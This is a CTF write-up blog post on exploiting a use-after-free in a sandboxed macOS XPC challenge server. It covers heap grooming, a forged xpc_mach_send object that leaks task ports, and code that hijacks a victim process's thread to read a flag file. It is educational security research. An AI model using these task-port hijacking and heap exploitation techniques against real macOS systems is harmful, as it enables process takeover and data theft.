MACOS XPC EXPLOITATION - SANDBOX SHARE CASE STUDY

Written by Eloi Benoist-Vanderbeken - 08/09/2021 - in Challenges , Exploit

> Usually we don't do blog posts about CTF challenges but we recently stumbled across a challenge that was a good opportunity to talk about several macOS/iOS internals, security mechanisms and exploit methods...

Last weekend, Synacktiv CTF team played to the Alles CTF. We did well and won the first place! Four of the challenges were, in the organizers word, especially challenging and two of them were not solved during the contest. We managed to finish one of them after the end of the CTF, 🔥 Sandbox Share, and thought that it was worth a blog post.

Sandbox Share is a macOS challenge. We get an XPC server and the associated client, both of them are heavily sandboxed, and we are provided with all the sources (both the source code and the sandbox profiles).

Before diving into the technical details, let's introduce some concepts. XPC is one of the IPC mechanisms used in macOS and iOS. Clients can send messages and may also ask for an answer from the server, both messages and replies are constructed with basic XPC types (dictionaries, arrays, strings, byte arrays, int64, uint64, fds, other XPC connections, etc.). Under the hood, each message is serialized as a mach message, XNU lowest level IPC mechanism, and sent on a mach port. Server side, messages are lazily unserialized, that means that you cannot easily massage the heap with the unserialization mechanism (like you would if CFPropertyListCreateWithData were used for example 😬). If you want to learn more about macOS/iOS IPC internals, you can read Ian Beer Jailbreak Security Summit 2015 slides.

The XPC service is quite simple (and not very clean, there are a lot of memory leaks). Clients can create sessions (but not destroy them) and the server will return an associated client id. To create a session the client sends its task port (think of it as a handle or a fd on the client process, giving full right on it) to the server that will store it. This task port will be used at various places to get its associated audit token (an opaque structure containing some information like the process pid/uid/gid/ruid/rgid).

This is, by itself, a very bad design for multiple reasons:

- You should not rely on audit tokens, they are opaque structures which may change in the future and the functions that manipulate them are private.
- A process should not give its task port to a service unless the service absolutely needs it as it gives the service full power over the client.
- The server already has the client audit token, it is sent by the kernel (so unforgeable) with every mach messages and can be retrieved with `xpc_connection_get_audit_token` (a private API alas...) and you can have most of the information it contains through the public XPC API (`xpc_connection_get_{euid,guid,pid,asid}`) but BE EXTRA CAREFUL.
- A process could send a fake task port (a mach port acting like a task port) and send an arbitrary audit token to the server.

If, for an obscure reason, a server really needed to use a task port provided by a client to get its associated audit token, it should only require a task name, a very low privileged task port that can only be used with `task_info` and `mach_task_is_self` (you can get one by calling `task_get_special_port(mach_task_self(), TASK_NAME_PORT, &task_name)`). It should also check that the port sent by the user is indeed a real task name port (by using `mach_port_kobject` to query the port object type and compare it with `IKOT_TASK_NAME=20`) and compare the audit token retrieved with `task_info` with the one populated by the kernel in the mach message.

However, as bad as it is, it is not enough to get our flag... Fortunately, clients can also create, query and delete entries in their sessions. When a client creates an entry and becomes its owner, it can choose which index of the audit token should be used to protect the entry (`pid` / `uid` / `gid` ...) and a list of authorized UIDs (they are then stored in `entry->allowed_uids`). Processes

that have their audit token value in the UIDs list can query the entries and processes that have the same audit token value as the owner of the entry can delete them. For example, if a process with `gid 0` create an entry protected with the audit token index 2 (`audit_token[2] = gid`) and `UIDs=[501]` then all the processes with `gid 0` (and only them) can delete the entry and all the processes with `gid 501` (and only them) can query it. Last but not least, entries are identified by an incremental ID and can be associated with an arbitrary XPC object at their creation (stored in `entry->object`), this XPC object is sent to the client when the entry is queried.

A quick review of the code shows that there is a dangling pointer creation in the deletion code. If a client tries to delete an entry but doesn't have the right to do so then the number of references on the entry XPC object is decreased (with `xpc_release`) without having been previously increased. As there is only one reference on the XPC object, it is actually freed at the first invalid delete but the entry is kept alive and the pointer is not invalidated. If the entry is then queried or deleted, we will have a use-after-free.

```
        // Delete entry
        case 4: {
                // [...]
                uint32_t our_value = get_audit_token_value(xpc_task, entry->token_index);

            if(our_value != entry->owner) {
                xpc_release(entry->object); // no reference was taken on entry->object!
                xpc_dictionary_set_string(reply, "error", "Not owner");
                goto send_reply;
            }

            free(entry->allowed_uids);
            xpc_release(entry->object);
            free(entry);
            entry_table[index] = NULL;
```

It is, however, surprisingly not that easy to not be able to delete our own entries. We need to have a different audit token when the entry is created and when it is deleted. The problem is that an audit token contains the process audit user/session ids, its pid, uid, euid, gid, egid and its pidversion, all those values cannot be easily modified. Moreover, our exploit is heavily sandboxed and unprivileged, we cannot spawn new processes or fork (to have new pid) nor change our (e)uid or (e)gid. Fortunately, we can execute ourselves and `execve` will destroy our previous task port (to patch an old and underrated vulnerability). When we will try to use a client ID created before the `execve` syscall to delete the entry, the server will try to get the old task uid with `get_audit_token_value` , `task_info` will fail as the old task has been destroyed, `get_audit_token_value` will return `-1` and we will execute the vulnerable code. Another solution could have been to create a fake task port to send arbitrary values to task_info but the `execve` solution was simpler...

Now that we can trigger the vulnerability, how to exploit it? The first thing to do is to be able to reuse it with arbitrary data or interesting objects. macOS heap have both good and bad properties from an exploiter point of view. The good thing is that all the tiny allocations (<= 1008 bytes) are allocated contiguously in the same pages, so that means that we can reuse an allocation with an object of a different size and that we can overflow a chunk without risking corrupting metadata. The bad thing is that all the tiny allocations are allocated contiguously in the same pages 😁, that means that there is a LOT of activity in the heap and that massaging it is not that easy. Moreover, there is one magazine per physical CPU core so if the core that allocated a chunk is not the same as the one trying to reuse it, it will never succeed. One could try to massage all the magazines but this is empirically hard and it is often more effective to massage and reuse fast to ensure that all the exploitation steps are done on the same CPU core (this is also why heap exploits are often more reliable on a real fast hardware than on slow VMs). If you want to know more about the heap, you can have a look at a previous presentation we did at Sthack.

To reuse our freed allocation with arbitrary data, a simple way would be to reuse it with the data buffer of an XPC byte array. The problem is that XPC byte arrays data is prefixed with 0x40 bytes of metadata (as they are allocated with `dispatch_data_create_alloc`):

```
(lldb) p (void *)xpc_data_create("AAAAAAAAAAAAAAAA", 0x10)
(OS_xpc_data *) $0 = 0x00000001005040d0
(lldb) p (size_t)malloc_size($0)
(size_t) $1 = 64
```

```
(lldb) x/8ga $0
0x1005040d0: 0x00007fff80618af0 (void *)0x00007fff80618b18: OS_xpc_data
0x1005040d8: 0x0000000000000000
0x1005040e0: 0x0000001400000000
0x1005040e8: 0x0000000100504080 // <- data buffer
0x1005040f0: 0x0000000000000000
0x1005040f8: 0x0000000000000010 // <- size
0x100504100: 0x0000000000000000
0x100504108: 0x0000000000000000
(lldb) x/10gx 0x0000000100504080
0x100504080: 0x011dffff8060f911 0x0000000000000000
0x100504090: 0x0000000000000000 0x0000000000000000
0x1005040a0: 0x00000001005040c0 0x00007fff8063e4e8
0x1005040b0: 0x0000000000000010 0x0000000000000000
0x1005040c0: 0x4141414141414141 0x4141414141414141
(lldb) p (size_t)malloc_size(0x0000000100504080)
(size_t) $2 = 80
```

So we cannot just allocate a lot of `xpc_data_t` with the size of our freed allocation and hope that is placed just at the right place (it may work but it'll not be reliable at all...). Fortunately, when XPC byte arrays or strings are deserialized, their data buffer is allocated before the xpc object:

```
xpc_object_t __fastcall _xpc_string_deserialize(__int64 unserializer)
{
  xpc_object_t xpc_string_object; // rbx
  char *dup_str; // rax
  __int64 string_length; // [rsp+8h] [rbp-18h] BYREF
  char *unserialized_string; // [rsp+10h] [rbp-10h] BYREF

  xpc_string_object = 0LL;
  unserialized_string = 0LL;
  string_length = 0LL;
  if ( _xpc_string_get_wire_value(unserializer, &unserialized_string, &string_length))
  {
    dup_str = _xpc_try_strdup(unserialized_string); // backstore is created...
    if ( dup_str )
    {
      xpc_string_object = (xpc_object_t)_xpc_string_create(dup_str, strlen(dup_str)); // before the xpc_ob
ject
      *((_BYTE *)xpc_string_object + 16) |= 1u;
    }
    else
    {
      return 0LL;
    }
  }
  return xpc_string_object;
}
```

That means that, if the heap is defragmented and we are deserializing the string `"AAAAAAAAAAAAAA"`, in memory we will have the following pattern:

```
   16 bytes allocation              0x30 bytes allocation
[ "AAAAAAAAAAAAAA\x00" ] [ OS_xpc_string, ..., ptr_data_buffer, ... ].
       ^-----------------------------------------------+
```

And when we will free the XPC object, the two allocations will be coalesced to form a `16+48=64` byte free chunk. To defragment the heap, we just have to create a lot of tiny allocations, fortunately the server has a lot of memory leaks and it is easy to fill all the holes just by sending dummy messages:

```
void handle_message(xpc_connection_t conn, xpc_object_t message) {
    uint64_t status = -1;

    char *client_id = calloc(1, 10); // <- this allocation will never be freed
    char *desc = xpc_copy_description(message);
    log("[i] Handling message: %s\n", desc);
    free(desc);

    xpc_connection_t remote = xpc_dictionary_get_remote_connection(message);
    xpc_object_t reply = xpc_dictionary_create_reply(message);
    if(!reply) {
        log("[-] Message didn't come with reply context!\n");
        return; // if we send a message without waiting for a reply we can exit early...
    }
    // [...]
```

To cleanly reuse our XPC object with arbitrary data we follow the following steps:

1. create a lot (100000) of tiny allocations to fill the holes in the heap
2. create some (100) XPC strings to really make sure the free lists we are targeting are empty
3. create our victim XPC string such as the coalesced size will be in a *not-too-much-used* freelist (we arbitrarily chose 0x250)
4. create a few (10) tiny *barriers* allocations to ensure that our freed object doesn't coalesce with next allocations
5. create and free few entries (200) with tiny XPC byte arrays to make holes such as our future big freed allocation will not be reused by something else than our data.
6. trigger the free
7. try to reuse the freed coalesced chunk by creating 200 entries with an XPC byte array data buffer.

This technique is quite stable and works quite well on Alles server (there is a POW challenge to protect the server so it's not easy to do intensive tests but 9 out of 10 tries in a row succeeded). If everything goes well, we have the following layout:

```
BEFORE FREE
                      0x220B alloc               0x30B alloc
[ leaked callocs ] [ "AA.....AA\x00" ] [ OS_xpc_string, ..., ptr_data_buffer, ... ] [ leaked callocs ]
                     ^-----------------------------------------------+

AFTER FREE
                                       0x250B free chunk
[ leaked callocs ] [                   FREE COALESCED CHUNK                        ] [ leaked callocs ]


AFTER REUSE
                                          0x250B alloc
[ leaked callocs ] [ {buffer metadata} {data \x13\x37.................\x13\x37} ] [ leaked callocs ]
                        0x40 bytes                      0x210 bytes
```

Now that we can reuse our XPC object, what can we do with it? In the rush of the CTF and without too much time, we did what seemed to be obvious: gain code execution on the server to read the flag and send it to our client. `xpc_release` is actually a wrapper around `objc_release` and `_os_object_release` so we can use the classical Objective-C methods to gain code execution: spray more than 256MB of memory with an XPC byte array (512+ if you don't want to risk colliding with dyld), put fake class objects in the spray, reuse the allocation to replace the first pointer with a hardcoded ISA pointer pointing into your spray, find a stack pivot and ROP! ROP is even made easy thanks to macOS/iOS shared cache that contains (for macOS) 1.5GB of code and is loaded at the same address in all the processes (that may soon change, the code is there and just have to be activated...).

We started to code a ROP chain to open the flag, map it in the memory at a hardcoded address and send it back to the client but when we tried it, the open failed with `errno=EPERM` ... We looked back at the sandbox profiles and realized that the server cannot indeed read the flag, only the client: we need to exploit another client, connected to the same server as us (hence the name of the challenge...)! We took a step back to think about our exploit strategy when it hit us, we don't need RCE, we just need the server task port to get the client task port and then manipulate the client!

Task port manipulation is a classic exploit method in XNU, it has been mitigated since iOS 10 by restricting non-platfom binary from using platform binaries task ports. However, this mitigation is not present on macOS. Moreover, platform binaries are binaries that have their hash hardcoded in iOS kernels and signed debug trust caches so nothing stop us from using the server and client task ports. As we said in the beginning of this post, having a task port is enough to control the underlying process. The task port name of the current process can be retrieved with the `mach_task_self` function but it is actually always equal to 0x203 on BigSur (0x103 in all the previous versions). However, Apple plan to make it a bit more random in the future so don't count too much on it:

```
// in osfmk/ipc/ipc_space.c

// [...]

/* Remove this in the future so port names are less predictable. */
#define CONFIG_SEMI_RANDOM_ENTRIES
#ifdef CONFIG_SEMI_RANDOM_ENTRIES
#define NUM_SEQ_ENTRIES 8
#endif

// [...]

void
ipc_space_rand_freelist(
    ipc_space_t             space,
    ipc_entry_t             table,
    mach_port_index_t       bottom,
    mach_port_index_t       top)
{

// [...]

#ifdef CONFIG_SEMI_RANDOM_ENTRIES
       /*
          * XXX: This is a horrible hack to make sure that randomizing the port
          * doesn't break programs that might have (sad) hard-coded values for
          * certain port names.
          */
       if (at_start && total++ < NUM_SEQ_ENTRIES) {
           which = 0;
       } else
#endif

// [...]

}
```

Moreover, XPC can be used to send and receive arbitrary port rights (by using a private API) as `xpc_mach_{send/recv}_t` object. Those objects are also quite simple (as hinted few hours before the end of the challenge by the CTF organizers):

```
typedef struct {
    uint64_t class_ptr;
    uint32_t pad[2];
    uint32_t ref_count;
    uint32_t pad1;
    mach_port_t port_name;
    uint32_t pad2;
} fake_xpc_mach_port_t;
```

```
(lldb) p (void *)xpc_mach_send_create((uint32_t)mach_task_self())
(OS_xpc_mach_send *) $0 = 0x0000000100205b70
(lldb) p (size_t)malloc_size($0)
(size_t) $1 = 32
(lldb) x/4ga $0
0x100205b70: 0x00007fff80618c80 (void *)0x00007fff80618ca8: OS_xpc_mach_send
0x100205b78: 0x0000000000000000
0x100205b80: 0x0000000000000002
0x100205b88: 0x0000000000000203
```

As we have seen, we already know the server task port name (0x203) and as the class pointer is in the shared cache, we can just reuse the value we can get in our own process. Building a fake `xpc_mach_send_t` object is as simple as copying a real one.

Now if we reuse our freed allocation with a fake `xpc_mach_send_t` object and query the bogus entry, we will have the server task port!

With the server task port, getting the client task port is just a matter of using mach APIs:

```
        // get all the server port names
        CHECK(mach_port_names(server_port, &names, &count, &types, &count));
        mach_port_t victim_port = MACH_PORT_NULL;
        for (uint32_t i = 0; i < count; i++) {

                // if the port name correspond to a send right and if it's not the server task
port...
            if ((types[i] == MACH_PORT_TYPE_SEND) && (names[i] != mach_task_self())) {

                // copy the server port right into our own task
                mach_port_t port;
                mach_msg_type_name_t right_type;
                CHECK(mach_port_extract_right(server_port, names[i], MACH_MSG_TYPE_COPY_SEND, &port, &right_type));

                // get the type of the kernel object linked to the port (if it's a kernel objec
t)
                natural_t port_type;
                mach_vm_address_t object_addr;
                CHECK(mach_port_kobject(mach_task_self(), port, &port_type, &object_addr));

                // check if we have a task port
                if (port_type == 2) {

                    // check if it's not our own task port :)
                    pid_t pid;
                    CHECK(pid_for_task(port, &pid));
                    if (pid != getpid()) {
                        if (victim_port != MACH_PORT_NULL)
                            printf("[-] Found more than one victim oO\n");
                        victim_port = port;
                        printf("[+] Found a victim: %d\n", pid);
                    }
                }
            }
        }
```

Once we have the victim task port, all we have to do is to manipulate one of its threads to force it to read the flag and then to read its memory. To call functions, we just have to set the arguments in the right registers (`RDI` , `RSI` , `RDX` , `RCX` , `R8` , `R9`), modify `RIP` (the instruction pointer) to make it point on the desired function and make `RSP` (the stack pointer) point on the address of an infinite loop (`\xEB\xFE`) that will be used as the function return address. Then we resume the thread and wait until `RIP` points on the infinite loop gadget. For example, here is the code to open the flag:

```
        // suspend the thread
        CHECK(thread_suspend(thread));
        // abort it if it is blocked in the kernel
        CHECK(thread_abort(thread));

        // get the thread context
        CHECK(thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &stateCnt)); //

        // keep the stack aligned...
        state.__rsp = (state.__rsp & ~0xFFFull) - 0x8;

        // make the return address point on the infinite loop gadget
        CHECK(mach_vm_write(victim_port, (vm_address_t)state.__rsp, (vm_address_t)&addr_EBFE, sizeof(addr_EB
FE)));

        // write the flag path
        CHECK(mach_vm_write(victim_port, (vm_address_t)state.__rsp + 8, (vm_address_t)"/etc/flag", 10));

        // set the open arguments
        state.__rdi = state.__rsp + 8;
        state.__rsi = O_RDONLY;
        state.__rip = (uint64_t)dlsym(RTLD_DEFAULT, "open");

         // path the thread context
        CHECK(thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, x86_THREAD_STATE64_COUNT));

        // resume the thread until it reached our infinite loop gadget
        CHECK(thread_resume(thread));
        do {
            usleep(1000);
            CHECK(thread_suspend(thread));
            CHECK(thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &stateCnt));
            if (state.__rip == addr_EBFE)
                break;
        } while (1);

        // restore RSP for future use...
        state.__rsp -= 8;

        // read the fd
        printf("[+] fd: %llX\n", state.__rax);
```

We can reuse this code to read the flag in memory and then use `mach_vm_read_overwrite` to read it in the victim memory.

The final exploit is quite reliable, fast and ultimately gave us the flag:

```
The name of your XPC service is: com.alles.sandbox_share_4264155273
Starting XPC server... Done
Starting client... Done
Running exploit. Your session will be killed in 30 seconds!
[i] Using service: com.alles.sandbox_share_4264155273
[+] Connected to: com.alles.sandbox_share_4264155273
[+] Event handler registered!
[+] In execve'd process
[+] Got client_id: a2870c8c
[+] Got entry 101
[-] Error delete_entry: Not owner
[+] reused entry:  { name = 3227, right = send, urefs = 1 }
[+] Found a victim: 36657
[+] gadget EBFE: 7FFF2008477B
[+] fd: 3
```

```
[+] flag: "ALLES!{G0od_Job!__M4ch_P0rts_are_R3ally_co0l_4ren't_th3y??}"
```

Complete exploit code can be found on Synacktiv github.